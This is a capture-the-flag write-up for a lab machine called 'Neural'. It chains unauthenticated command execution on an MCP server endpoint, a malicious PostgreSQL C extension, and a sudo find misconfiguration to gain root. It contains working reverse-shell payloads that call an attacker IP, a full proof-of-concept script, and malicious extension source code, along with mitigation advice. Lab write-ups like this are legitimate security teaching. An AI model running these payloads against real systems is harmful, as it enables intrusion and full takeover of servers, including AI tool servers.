Neural - HC Writeup

2026-03-30·7 min read·
ctfwebmcprcepostgresqlprivilege-escalation

Target Information

  • IP Address: 172.16.8.135
  • Difficulty: Hard
  • Tags: Web, MCP, RCE, PostgreSQL, Privilege Escalation, GTFOBins

Reconnaissance

Port Scanning

Initial enumeration with nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.8.135

Results:

$code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)

The HTTP service redirects to http://neural.hc/. Added to /etc/hosts:

$bash
echo "172.16.8.135 neural.hc" >> /etc/hosts

Web Enumeration

Virtual Host Discovery

The first port scan against 172.16.8.135 revealed an HTTP redirect to http://neural.hc/ on port 80:

$bash
echo "172.16.8.135 neural.hc" >> /etc/hosts

A second port scan — this time against the internal range — surfaced prod-mcp369.neural.hc resolving to 172.16.0.1:

$bash
echo "172.16.0.1 prod-mcp369.neural.hc" >> /etc/hosts

MCP Server Endpoint Discovery

The subdomain prod-mcp369.neural.hc exposes an MCP (Model Context Protocol) server with an unauthenticated API endpoint at /api/mcp/connect.

Endpoint: POST /api/mcp/connect

Request:

$http
POST /api/mcp/connect HTTP/1.1
Host: prod-mcp369.neural.hc
Content-Type: application/json
 
{
  "serverConfig": {
    "command": "id",
    "args": [],
    "env": {},
    "timeout": 30000
  },
  "serverId": "test"
}

The server accepts a serverConfig object with a command field and executes it directly — no authentication required.


Exploitation: MCP Unauthenticated RCE

Getting a Reverse Shell as nikolas

The /api/mcp/connect endpoint passes the serverConfig.command and args directly to the underlying process spawner without any sanitization or authentication. This allows arbitrary OS command execution as the application user (nikolas).

Listener:

$bash
nc -lvnp 4444

Exploit:

$bash
python3 -c '
import urllib.request
import urllib.error
import json
 
TARGET = "172.16.8.135"
MCP_HOST = "prod-mcp369.neural.hc"
 
def req(method, path, data=None):
    url = f"http://{TARGET}{path}"
    body = json.dumps(data).encode() if data is not None else None
    headers = {"Host": MCP_HOST, "Content-Type": "application/json"}
    r = urllib.request.Request(url, data=body, method=method, headers=headers)
    try:
        resp = urllib.request.urlopen(r, timeout=20)
        return resp.getcode(), resp.read().decode("utf-8", "ignore")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "ignore")
    except Exception as e:
        return 0, str(e)
 
payload = {
    "serverConfig": {
        "command": "bash",
        "args": ["-c", "bash -i >& /dev/tcp/10.0.35.83/4444 0>&1"],
        "env": {},
        "timeout": 30000
    },
    "serverId": "revshell"
}
 
code, body = req("POST", "/api/mcp/connect", payload)
print("Status:", code)
print(body)
'

Result:

$bash
[+] Got reverse shell as nikolas

Post-Exploitation

Environment Enumeration

From the nikolas shell, we discover that PostgreSQL 17 is running locally and the postgres superuser has no password set:

$bash
psql -U postgres
$code
psql (17.x)
Type "help" for help.

postgres=#

Findings:

  • PostgreSQL 17 running locally, accessible without password as superuser
  • /bin/bash and /bin/sh are blocked (restricted shell environment)
  • Python3 is available at /usr/bin/python3

Exploitation: PostgreSQL C Extension RCE

Building the Malicious Shared Library

Since bash and sh are blocked, a PostgreSQL C extension is used to spawn a Python3 reverse shell with a real PTY via pty.spawn.

pwn.c:

$c
#include "postgres.h"
#include "fmgr.h"
#include <unistd.h>
 
PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pwn);
 
Datum pwn(PG_FUNCTION_ARGS) {
    if (fork() == 0) {
        setsid();
        execl("/usr/bin/python3", "python3", "-c",
            "import socket,os,pty;"
            "s=socket.socket();"
            "s.connect(('10.0.35.83',4445));"
            "os.dup2(s.fileno(),0);"
            "os.dup2(s.fileno(),1);"
            "os.dup2(s.fileno(),2);"
            "pty.spawn('/usr/bin/python3')",
            NULL);
        _exit(0);
    }
    PG_RETURN_VOID();
}

Compile against the exact PostgreSQL 17 headers using Docker to ensure ABI compatibility:

$bash
docker run --rm -v "$(pwd)":/host postgres:17-bookworm sh -c \
  "apt-get update -qq && apt-get install -y -qq gcc postgresql-server-dev-17 && \
   gcc -I\$(pg_config --includedir-server) -fPIC -shared -o /host/pwn.so /host/pwn.c"

Uploading the .so to the Target

$bash
# From attacker machine
python3 -m http.server 8080
 
# From nikolas shell
curl http://10.0.35.83:8080/pwn.so -o /tmp/pwn.so

Loading and Triggering the Extension

Listener:

$bash
nc -lvnp 4445

Command:

$sql
CREATE OR REPLACE FUNCTION pwn() RETURNS void AS '/tmp/pwn.so', 'pwn' LANGUAGE C STRICT;
SELECT pwn();

Result:

$code
Python 3.12.3 ... on linux
>>>

Interactive Python3 shell with real PTY as postgres.


Privilege Escalation: sudo find (GTFOBins)

Enumeration

Check sudo permissions from the Python3 shell:

$python
import subprocess; subprocess.call(['sudo', '-l'])

Result:

$code
User postgres may run the following commands on ip-172-16-4-0:
    (ALL) NOPASSWD: /usr/bin/find

Exploitation

The postgres user can run /usr/bin/find as root without a password. Using find -exec with Python3 (since bash/sh are blocked) to spawn a root shell:

Listener:

$bash
nc -lvnp 4446

Command:

$python
import subprocess
subprocess.call([
    'sudo', 'find', '.', '-exec',
    '/usr/bin/python3', '-c',
    'import os,pty,socket;s=socket.socket();s.connect(("10.0.35.83",4446));'
    'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
    'os.setuid(0);os.setgid(0);pty.spawn("/usr/bin/python3")',
    ';'
])

Result:

$bash
# Root Python3 shell received on port 4446
>>> import os; os.getuid()
0

ROOT OBTAINED!

Reading the Flag

$python
import subprocess; subprocess.call(['sudo', 'find', '/root/root.txt', '-exec', 'cat', '{}', ';'])

Attack Chain Summary

$code
1. Nmap scan — ports 22 (SSH) and 80 (HTTP/nginx → neural.hc)
   ↓
2. VHost discovery — prod-mcp369.neural.hc MCP server
   ↓
3. Unauthenticated RCE via POST /api/mcp/connect (serverConfig injection)
   → Shell as nikolas
   ↓
4. Local PostgreSQL 17 accessible as superuser without password
   ↓
5. PostgreSQL C extension (.so) loaded via CREATE FUNCTION + SELECT
   → Python3 pty.spawn shell as postgres (bash/sh blocked)
   ↓
6. sudo find NOPASSWD + find -exec python3 (GTFOBins)
   → Root shell
   ↓
7. Root Access — /root/root.txt

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Unauthenticated RCE via MCP serverConfigCWE-78 (OS Command Injection)CriticalRemote code execution as application user
PostgreSQL superuser without passwordCWE-521 (Weak Password Requirements)HighFull database compromise and OS command execution
PostgreSQL C extension loading from /tmpCWE-114 (Process Control)HighArbitrary code execution as postgres OS user
sudo find NOPASSWD misconfigurationCWE-269 (Improper Privilege Management)HighFull privilege escalation to root

Mitigation Recommendations

Application Level

  1. Authenticate the MCP /api/mcp/connect endpoint:

    • Require API key or session token before accepting serverConfig
    • Validate and whitelist allowed commands; never pass user-controlled input directly to a process spawner
  2. Restrict PostgreSQL authentication:

    • Set a strong password for the postgres superuser
    • Configure pg_hba.conf to require md5 or scram-sha-256 even for local connections
$bash
# pg_hba.conf — replace "trust" with "scram-sha-256"
local   all   postgres   scram-sha-256
  1. Disable dynamic library loading from untrusted paths:
    • Set dynamic_library_path to only include trusted directories
    • Restrict write access to PostgreSQL library directories

System Level

  1. Remove NOPASSWD sudo for find:
$bash
# /etc/sudoers — remove or restrict the rule
# postgres ALL=(ALL) NOPASSWD: /usr/bin/find
  1. Apply principle of least privilege — the postgres OS user should not have any sudo rights.

Tools Used

  • nmap - Network port scanner and service fingerprinter
  • Python3 urllib - Custom HTTP client for MCP API exploitation
  • Docker (postgres:17-bookworm) - Cross-compilation environment for PostgreSQL C extensions
  • netcat (nc) - Reverse shell listener
  • GTFOBins - Unix binary privilege escalation reference

Proof of Concept Scripts

MCP RCE — Reverse Shell

$python
#!/usr/bin/env python3
import urllib.request
import urllib.error
import json
 
TARGET = "172.16.8.135"
MCP_HOST = "prod-mcp369.neural.hc"
LHOST = "10.0.35.83"
LPORT = 4444
 
def req(method, path, data=None):
    url = f"http://{TARGET}{path}"
    body = json.dumps(data).encode() if data is not None else None
    headers = {"Host": MCP_HOST, "Content-Type": "application/json"}
    r = urllib.request.Request(url, data=body, method=method, headers=headers)
    try:
        resp = urllib.request.urlopen(r, timeout=20)
        return resp.getcode(), resp.read().decode("utf-8", "ignore")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "ignore")
    except Exception as e:
        return 0, str(e)
 
payload = {
    "serverConfig": {
        "command": "bash",
        "args": ["-c", f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"],
        "env": {},
        "timeout": 30000
    },
    "serverId": "revshell"
}
 
code, body = req("POST", "/api/mcp/connect", payload)
print("Status:", code)
print(body)

Flags

$code
Root Flag: /root/root.txt

References

CWE References:


Author: cbxcvl Date: 2026-03-30 Machine: Neural